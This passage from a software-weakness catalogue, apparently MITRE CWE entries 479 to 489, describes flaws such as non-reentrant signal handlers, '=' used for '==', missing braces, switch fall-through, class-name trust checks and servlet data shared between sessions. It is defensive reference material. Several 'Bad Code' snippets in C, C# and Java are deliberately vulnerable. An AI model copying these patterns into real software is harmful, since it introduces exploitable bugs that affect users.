# CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID: 479 (Weakness Variant)

Status: Draft

## Description

### Summary

The program defines a signal handler that calls a non-reentrant function.

### Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call `syslog()` is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If `syslog()` is suspended by a signal call and the signal handler calls `syslog()`, the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of `malloc()` and `free()` manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

## Time of Introduction

- Architecture and Design
- Implementation

## Applicable Platforms

### Languages

- C
- C++

## Common Consequences

### Integrity

### Confidentiality

### Availability

#### Execute unauthorized code or commands

It may be possible to execute arbitrary code through the use of a write-what-where condition.

### Integrity

#### Modify application data

Signal race conditions often result in data corruption.

## Likelihood of Exploit

Low

## Demonstrative Examples

In this example, a signal handler uses syslog() to log a message:

```
char *message;
void sh(int dummy) {
```

```
    syslog(LOG_NOTICE,"%s\n",message);
    sleep(10);
    exit(0);
```

```
}
```

```
int main(int argc,char* argv[]) {
```

```
    ...
    signal(SIGHUP,sh);
    signal(SIGTERM,sh);
    sleep(10);
    exit(0);
```

```
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

## Observed Examples

Reference	Description
CVE-2004-2259	handler for SIGCHLD uses non-reentrant functions
CVE-2005-0893	signal handler calls function that ultimately uses malloc()

## Potential Mitigations

### Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

### Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

### Implementation



Ensure that non-reentrant functions are not found in signal handlers.

### Implementation

### Defense in Depth

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

## Relationships

Nature	Type	ID	Name		Page
CanPrecede		123	Write-what-where Condition	<input checked="" type="checkbox"/>	248
ChildOf		429	Handler Errors		738



Nature	Type	ID	Name	CVSS	Page
ChildOf	C	634	Weaknesses that Affect System Processes	631	982
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	699	1025
ChildOf	C	745	CERT C Secure Coding Section 11 - Signals (SIG)	734	1136
ChildOf	B	828	Signal Handler with Functionality that is not Asynchronous-Safe	699	1259
ChildOf	C	847	CERT Java Secure Coding Section 02 - Expressions (EXP)	844	1292
ChildOf	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	1317
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1403

### Affected Resources

- System Process

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unsafe function call from a signal handler
CERT C Secure Coding	SIG30-C	Call only asynchronous-safe functions within signal handlers
CERT C Secure Coding	SIG32-C	Do not call longjmp() from inside a signal handler
CERT C Secure Coding	SIG33-C	Do not recursively invoke the raise() function
CERT C Secure Coding	SIG34-C	Do not call signal() from within interruptible signal handlers
CERT Java Secure Coding	EXP01-J	Never dereference null pointers
CERT C++ Secure Coding	SIG30-CPP	Call only asynchronous-safe functions within signal handlers
CERT C++ Secure Coding	SIG33-CPP	Do not recursively invoke the raise() function
CERT C++ Secure Coding	SIG34-CPP	Do not call signal() from within interruptible signal handlers
Software Fault Patterns	SFP3	Use of an improper API

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Signal Vulnerabilities", Page 791.. 1st Edition. Addison Wesley. 2006.

## CWE-480: Use of Incorrect Operator

Weakness ID: 480 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.

#### Extended Description

These types of errors are generally the result of a typo.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)
- Perl (*Sometimes*)
- Language-independent

### Common Consequences

#### Other

#### Alter execution logic

This weakness can cause unintended logic to be executed and other unexpected application behavior.

### Likelihood of Exploit

Low

## Detection Methods

### Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

### Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

## Demonstrative Examples

### Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

#### C/C# Example:

*Bad Code*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

#### C# Example:

*Bad Code*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

### Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

#### C/C++ Example:

*Bad Code*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
```

```
// code to add and remove items from stack
...
return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	569	Expression Issues	699	906
ChildOf	G	670	Always-Incorrect Control Flow Implementation	1000	1037
ChildOf	C	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)	734	1137
ChildOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	1312
ChildOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf	C	977	SFP Secondary Cluster: Design	888	1382
ParentOf	V	481	<i>Assigning instead of Comparing</i>	699 1000	811
ParentOf	V	482	<i>Comparing instead of Assigning</i>	699 1000	814
ParentOf	V	597	<i>Use of Wrong Operator in String Comparison</i>	699 1000	938
MemberOf	V	884	<i>CWE Cross-section</i>	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Using the wrong operator
CERT C Secure Coding	MSC02-C	Avoid errors of omission
CERT C Secure Coding	MSC03-C	Avoid errors of addition
CERT C++ Secure Coding	EXP19-CPP	Do not perform assignments in conditional ressiions
CERT C++ Secure Coding	MSC02-CPP	Avoid errors of omission
CERT C++ Secure Coding	MSC03-CPP	Avoid errors of addition

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289.. 1st Edition. Addison Wesley. 2006.

## CWE-481: Assigning instead of Comparing

Weakness ID: 481 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The code uses an operator for assignment when the intention was to perform a comparison.

#### Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C

- C++
- Java
- .NET

## Common Consequences

### Other

### Alter execution logic

### Likelihood of Exploit

Low

## Demonstrative Examples

### Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

#### C/C# Example:

*Bad Code*

```
int isValid(int value) {
    if (value=100) {
        printf("Value is valid\n");
        return(1);
    }
    printf("Value is not valid\n");
    return(0);
}
```

#### C# Example:

*Bad Code*

```
bool isValid(int value) {
    if (value=100) {
        Console.WriteLine("Value is valid.");
        return true;
    }
    Console.WriteLine("Value is not valid.");
    return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

### Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

#### C Example:

*Bad Code*

```
void processString (char *str) {
    int i;
    for(i=0; i<strlen(str); i++) {
        if (isalnum(str[i])){
            processChar(str[i]);
        }
        else if (str[i] = ':') {
            movingToNewInput();}
    }
}
```

**Example 3:**

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

**Java Example:***Bad Code*

```
public void checkValid(boolean isValid) {
    if (isValid = true) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

**Java Example:***Good Code*

```
public void checkValid(boolean isValid) {
    if (isValid) {
        System.out.println("Performing processing");
        doSomethingImportant();
    }
    else {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

**Java Example:***Good Code*

```
public void checkValid(boolean isValid) {
    if (!isValid) {
        System.out.println("Not Valid, do not perform processing");
        return;
    }
    System.out.println("Performing processing");
    doSomethingImportant();
}
```

**Example 4:****C Example:***Bad Code*

```
void called(int foo){
    if (foo=1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

**Potential Mitigations****Testing**

Many IDEs and static analysis products will detect this problem.

**Implementation**

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will of course produce an error.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	480	Use of Incorrect Operator	699	809
ChildOf	C	569	Expression Issues	1000	906
CanPrecede	G	697	Insufficient Comparison	1000	1078
ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1393

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Assigning instead of comparing
Software Fault Patterns	SFP1	Glitch in computation

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289.. 1st Edition. Addison Wesley. 2006.

## CWE-482: Comparing instead of Assigning

Weakness ID: 482 (*Weakness Variant*)

Status: Draft

## Description

## Summary

The code uses an operator for comparison when the intention was to perform an assignment.

## Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

## Time of Introduction

- Implementation

## Applicable Platforms

## Languages

- C
- C++

## Modes of Introduction

This bug primarily originates from a typo.

## Common Consequences

## Availability

## Integrity

## Unexpected state

The assignment will not take place, which should cause obvious program execution problems.

## Likelihood of Exploit

Low

## Demonstrative Examples

## Example 1:

## C/C++/Java Example:

*Bad Code*

```
void called(int foo) {
    foo==1;
    if (foo==1) printf("foo\n");
}
int main() {
    called(2);
    return 0;
}
```

## Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

### C/C++ Example:

Bad Code

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
    p1++;
    if(p1==(tos+SIZE)) {
        // Print stack overflow error message and exit
    }
    *p1 == i;
}
int pop(void) {
    if(p1==tos) {
        // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

### Potential Mitigations

#### Testing

Many IDEs and static analysis products will detect this problem.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>B</b>	480	Use of Incorrect Operator		699 809
ChildOf	<b>C</b>	569	Expression Issues		<b>1000</b> 699 906
ChildOf	<b>C</b>	747	CERT C Secure Coding Section 49 - Miscellaneous (MSC)		<b>734</b> 1137
ChildOf	<b>C</b>	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)		<b>868</b> 1318
ChildOf	<b>C</b>	886	SFP Primary Cluster: Unused entities		<b>888</b> 1323

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Comparing instead of assigning
CERT C Secure Coding	MSC02-C	Avoid errors of omission
CERT C++ Secure Coding	MSC02-CPP	Avoid errors of omission
Software Fault Patterns	SFP2	Unused Entities

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Typos", Page 289.. 1st Edition. Addison Wesley. 2006.

## CWE-483: Incorrect Block Delimitation

Weakness ID: 483 (Weakness Variant)

Status: Draft

### Description

#### Summary



The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

### Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C (*Sometimes*)
- C++ (*Sometimes*)

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Alter execution logic

This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.

### Likelihood of Exploit

Low

### Demonstrative Examples

#### Example 1:

In this example, the programmer has indented the statements to call Do\_X() and Do\_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

*Bad Code*

```
if (condition==true)
  Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

#### Example 2:

In this example, the programmer has indented the Do\_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do\_X() was called on the same line as the conditional and there are no braces to signify the block, Do\_Y() will always be executed, even if the condition is false.

*Bad Code*

```
if (condition==true) Do_X();
  Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

### Observed Examples






Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail")

### Potential Mitigations

**Implementation**

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality		699 684
ChildOf		670	Always-Incorrect Control Flow Implementation		1000 1037
ChildOf		977	SFP Secondary Cluster: Design		888 1382
MemberOf		884	CWE Cross-section		884 1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
CLASP	Incorrect block delimitation

**CWE-484: Omitted Break Statement in Switch**Weakness ID: 484 (*Weakness Base*)

Status: Draft

**Description****Summary**

The program omits a break statement within a switch or similar construct, causing code associated with multiple conditions to execute. This can cause problems when the programmer only intended to execute code associated with one condition.

**Extended Description**

This can lead to critical code executing in situations where it should not.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++
- Java
- .NET
- PHP

**Common Consequences****Other****Alter execution logic**

This weakness can cause unintended logic to be executed and other unexpected application behavior.

**Likelihood of Exploit**

Medium

**Detection Methods****White Box**

Omission of a break statement might be intentional, in order to support fallthrough. Automated detection methods might therefore be erroneous. Semantic understanding of expected program behavior is required to interpret whether the code is correct.

**Black Box**

Since this weakness is associated with a code construct, it would be indistinguishable from other errors that produce the same behavior.

**Demonstrative Examples**

In both of these examples, a message is printed based on the month passed into the function:

**Java Example:***Bad Code*

```
public void printMessage(int month){
    switch (month) {
        case 1: print("January");
        case 2: print("February");
```

```

case 3: print("March");
case 4: print("April");
case 5: print("May");
case 6: print("June");
case 7: print("July");
case 8: print("August");
case 9: print("September");
case 10: print("October");
case 11: print("November");
case 12: print("December");
}
println(" is a great month");
}

```

**C/C++ Example:***Bad Code*

```

void printMessage(int month){
  switch (month) {
    case 1: printf("January");
    case 2: printf("February");
    case 3: printf("March");
    case 4: printf("April");
    case 5: printf("May");
    case 6: printf("June");
    case 7: printf("July");
    case 8: printf("August");
    case 9: printf("September");
    case 10: printf("October");
    case 11: printf("November");
    case 12: printf("December");
  }
  printf(" is a great month");
}

```

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

**Potential Mitigations****Implementation**

Omitting a break statement so that one may fall through is often indistinguishable from an error, and therefore should be avoided. If you need to use fall-through capabilities, make sure that you have clearly documented this within the switch statement, and ensure that you have examined all the logical possibilities.






**Implementation**

The functionality of omitting a break statement could be clarified with an if statement. This method is much safer.

**Weakness Ordinalities**

**Primary** (where the weakness exists independent of other weaknesses)

**Relationships**

Nature	Type	ID	Name		Page
ChildOf		398	Indicator of Poor Code Quality		<b>699</b> 684 1000
ChildOf		670	Always-Incorrect Control Flow Implementation		<b>1000</b> 1037
ChildOf		962	SFP Secondary Cluster: Unchecked Status Condition		<b>888</b> 1376
MemberOf		884	CWE Cross-section		<b>884</b> 1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Omitted break statement
Software Fault Patterns	SFP4	Unchecked Status Condition

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Switch Statements", Page 337.. 1st Edition. Addison Wesley. 2006.

## CWE-485: Insufficient Encapsulation

Weakness ID: 485 (Weakness Class)

Status: Draft

### Description

#### Summary

The product does not sufficiently encapsulate critical data or functionality.

#### Extended Description

Encapsulation is about drawing strong boundaries. In a web browser that might mean ensuring that your mobile code cannot be abused by other mobile code. On the server it might mean differentiation between validated data and unvalidated data, between one user's data and another's, or between data users are allowed to see and data that they are not.

### Terminology Notes

The "encapsulation" term is used in multiple ways. Within some security sources, the term is used to describe the establishment of boundaries between different control spheres. Within general computing circles, it is more about hiding implementation details and maintainability than security. Even within the security usage, there is also a question of whether "encapsulation" encompasses the entire range of security problems.

### Time of Introduction

- Architecture and Design
- Implementation

### Common Consequences

#### Other

#### Varies by context

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		18	Source Code	699	17
ChildOf		664	Improper Control of a Resource Through its Lifetime	1000	1026
ChildOf		881	CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)	868	1318
ChildOf		966	SFP Secondary Cluster: Other Exposures	888	1379
ParentOf		216	Containment Errors (Container Errors)	1000	410
ParentOf		486	Comparison of Classes by Name	699 700 1000	820
ParentOf		487	Reliance on Package-level Scope	699 1000	822
ParentOf		488	Exposure of Data Element to Wrong Session	699 700 1000	823
ParentOf		489	Leftover Debug Code	699 700 1000	824
ParentOf		490	Mobile Code Issues	699 700	826
ParentOf		491	Public cloneable() Method Without Final ('Object Hijack')	700	826
ParentOf		492	Use of Inner Class Containing Sensitive Data	700	827
ParentOf		493	Critical Public Variable Without Final Modifier	700	833
ParentOf		495	Private Array-Typed Field Returned From A Public Method	699 700 1000	838
ParentOf		496	Public Data Assigned to Private Array-Typed Field	699 700 1000	839

Nature	Type	ID	Name	V	Page
ParentOf	V	497	Exposure of System Data to an Unauthorized Control Sphere	700	840
ParentOf	V	498	Cloneable Class Containing Sensitive Information	699 1000	842
ParentOf	V	499	Serializable Class Containing Sensitive Data	699 1000	844
ParentOf	B	501	Trust Boundary Violation	699 700 1000	846
ParentOf	V	545	Use of Dynamic Class Loading	699 1000	884
ParentOf	V	580	clone() Method Without super.clone()	699 1000	920
ParentOf	V	594	J2EE Framework: Saving Unserializable Objects to Disk	699 1000	935
ParentOf	V	607	Public Static Final Field References Mutable Object	699	953
MemberOf	V	700	Seven Pernicious Kingdoms	700	1081
ParentOf	B	749	Exposed Dangerous Method or Function	699 1000	1138
ParentOf	V	766	Critical Variable Declared Public	699 1000	1170
ParentOf	V	767	Access to Critical Private Variable via Public Method	699 1000	1172

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Encapsulation
CERT C++ Secure Coding	OOP00-CPP	Declare data members private

### Maintenance Notes

This node has to be considered in relation to CWE-732 and CWE-269.

See terminology notes on the multiple uses of the "encapsulation" term.

## CWE-486: Comparison of Classes by Name

Weakness ID: 486 (Weakness Variant)

Status: Draft

### Description

#### Summary

The program compares classes by name, which can cause it to use the wrong class when multiple classes can have the same name.

#### Extended Description

If the decision to trust the methods and data of an object is based on the name of a class, it is possible for malicious users to send objects of the same name as trusted classes and thereby gain the trust afforded to known classes and types.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- Java

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

If a program relies solely on the name of an object to determine identity, it may execute the incorrect or unintended code.

## Likelihood of Exploit

High

## Demonstrative Examples

### Example 1:

In this example, the expression in the if statement compares the class of the inputClass object to a trusted class by comparing the class names.

#### Java Example:

*Bad Code*

```
if (inputClass.getClass().getName().equals("TrustedClassName")) {  
    // Do something assuming you trust inputClass  
    // ...  
}
```

However, multiple classes can have the same name therefore comparing an object's class by name can allow untrusted classes of the same name as the trusted class to be used to execute unintended or incorrect code. To compare the class of an object to the intended class the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

#### Java Example:

*Good Code*

```
if (inputClass.getClass() == TrustedClass.class) {  
    // Do something assuming you trust inputClass  
    // ...  
}
```

### Example 2:

In this example, the Java class, TrustedClass, overrides the equals method of the parent class Object to determine equivalence of objects of the class. The overridden equals method first determines if the object, obj, is the same class as the TrustedClass object and then compares the object's fields to determine if the objects are equivalent.

#### Java Example:

*Bad Code*

```
public class TrustedClass {  
    ...  
    @Override  
    public boolean equals(Object obj) {  
        boolean isEqual = false;  
        // first check to see if the object is of the same class  
        if (obj.getClass().getName().equals(this.getClass().getName())) {  
            // then compare object fields  
            ...  
            if (...) {  
                isEqual = true;  
            }  
        }  
        return isEqual;  
    }  
    ...  
}
```

However, the equals method compares the class names of the object, obj, and the TrustedClass object to determine if they are the same class. As with the previous example using the name of the class to compare the class of objects can lead to the execution of unintended or incorrect code if the object passed to the equals method is of another class with the same name. To compare the class of an object to the intended class, the getClass() method and the comparison operator "==" should be used to ensure the correct trusted class is used, as shown in the following example.

#### Java Example:

*Good Code*

```
public boolean equals(Object obj) {  
    ...  
    // first check to see if the object is of the same class  
    if (obj.getClass() == this.getClass()) {  
        ...  
    }  
}
```

```
...
}
```

## Potential Mitigations

### Implementation

Use class equivalency to determine type. Rather than use the class name to determine if an object is of a given type, use the getClass() method, and == operator.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		171	Cleansing, Canonicalization, and Comparison Errors	699	332
ChildOf		485	Insufficient Encapsulation	<b>699</b> <b>700</b> 1000	819
ChildOf		697	Insufficient Comparison	<b>1000</b>	1078
ChildOf		849	CERT Java Secure Coding Section 04 - Object Orientation (OBJ)	<b>844</b>	1293
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393
PeerOf		386	<i>Symbolic Name not Mapping to Correct Object</i>	<i>1000</i>	<i>667</i>
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	<b>1319</b>

## Relevant Properties

- Equivalence
- Uniqueness

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Comparing Classes by Name
CLASP		Comparing classes by name
CERT Java Secure Coding	OBJ09-J	Compare classes and not class names
Software Fault Patterns	SFP1	Glitch in computation

# CWE-487: Reliance on Package-level Scope

**Weakness ID:** 487 (*Weakness Variant*)

**Status:** Incomplete

## Description

### Summary

Java packages are not inherently closed; therefore, relying on them for code security is not a good practice.

### Extended Description

The purpose of package scope is to prevent accidental access by other parts of a program. This is an ease-of-software-development feature but not a security feature.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- Java

## Common Consequences

### Confidentiality

#### Read application data

Any data in a Java package can be accessed outside of the Java framework if the package is distributed.

### Integrity

#### Modify application data

The data in a Java class can be modified by anyone outside of the Java framework if the packages is distributed.

## Likelihood of Exploit

Medium



## Demonstrative Examples

### Java Example:

*Bad Code*

```

package math;
public class Lebesgue implements Integration{
    public final Static String youAreHidingThisFunction(functionToIntegrate){
        return ...;
    }
}

```

## Potential Mitigations

### Architecture and Design

#### Implementation

Data should be private static and final whenever possible. This will assure that your code is protected by instantiating early, preventing access and tampering.

## Relationships

Nature	Type	ID	Name		Page
ChildOf		485	Insufficient Encapsulation	<input checked="" type="checkbox"/>	<b>699</b> <b>1000</b>
ChildOf		850	CERT Java Secure Coding Section 05 - Methods (MET)		<b>844</b> 1293
ChildOf		966	SFP Secondary Cluster: Other Exposures		<b>888</b> 1379

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Relying on package-level scope
CERT Java Secure Coding	MET04-J	Do not increase the accessibility of overridden or hidden methods

# CWE-488: Exposure of Data Element to Wrong Session

**Weakness ID:** 488 (*Weakness Variant*)**Status:** Draft

## Description

### Summary

The product does not sufficiently enforce boundaries between the states of different sessions, causing data to be provided to, or used by, the wrong session.

### Extended Description

Data can "bleed" from one session to another through member variables of singleton objects, such as Servlets, and objects from a shared pool.

In the case of Servlets, developers sometimes do not understand that, unless a Servlet implements the `SingleThreadModel` interface, the Servlet is a singleton; there is only one instance of the Servlet, and that single instance is used and re-used to handle multiple requests that are processed simultaneously by different threads. A common result is that developers use Servlet member fields in such a way that one user may inadvertently see another user's data. In other words, storing user data in Servlet member fields introduces a data access race condition.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Read application data

## Demonstrative Examples

The following Servlet stores the value of a request parameter in a member field and then later echoes the parameter value to the response output stream.

### Java Example:

*Bad Code*

```

public class GuestBook extends HttpServlet {
    String name;
}

```

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) {
    name = req.getParameter("name");
    ...
    out.println(name + ", thanks for visiting!");
}
}
```

While this code will work perfectly in a single-user environment, if two users access the Servlet at approximately the same time, it is possible for the two request handler threads to interleave in the following way: Thread 1: assign "Dick" to name Thread 2: assign "Jane" to name Thread 1: print "Jane, thanks for visiting!" Thread 2: print "Jane, thanks for visiting!" Thereby showing the first user the second user's name.

## Potential Mitigations

### Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.






### Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

### Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

## Relationships

Nature	Type	ID	Name		Page	
ChildOf		485	Insufficient Encapsulation		699 700 1000	819
ChildOf		882	CERT C++ Secure Coding Section 14 - Concurrency (CON)		868	1318
ChildOf		965	SFP Secondary Cluster: Insecure Session Management		888	1379
CanFollow		567	Unsynchronized Access to Shared Data in a Multithreaded Context		1000	903

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Data Leaking Between Users
CERT C++ Secure Coding	CON02-CPP	Use lock classes for mutex management

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
59	Session Credential Falsification through Prediction	
60	Reusing Session IDs (aka Session Replay)	

# CWE-489: Leftover Debug Code

Weakness ID: 489 (Weakness Base)

Status: Draft

## Description

### Summary

The application can be deployed with active debugging code that can create unintended entry points.

### Extended Description

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

### Time of Introduction

- Implementation
- Build and Compilation

- Operation

### Applicable Platforms

#### Languages

- All

### Modes of Introduction

In web-based applications, debug code is used to test and modify web application properties, configuration information, and functions. If a debug application is left on a production server, this oversight during the "software process" allows attackers access to debug functionality.

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Access Control

#### Other

#### Bypass protection mechanism

#### Read application data

#### Gain privileges / assume identity

#### Varies by context

The severity of the exposed debug application will depend on the particular instance. At the least, it will give an attacker sensitive information about the settings and mechanics of web applications on the server. At worst, as is often the case, the debug application will allow an attacker complete control over the web application and server, as well as confidential information that either of these access.

### Demonstrative Examples

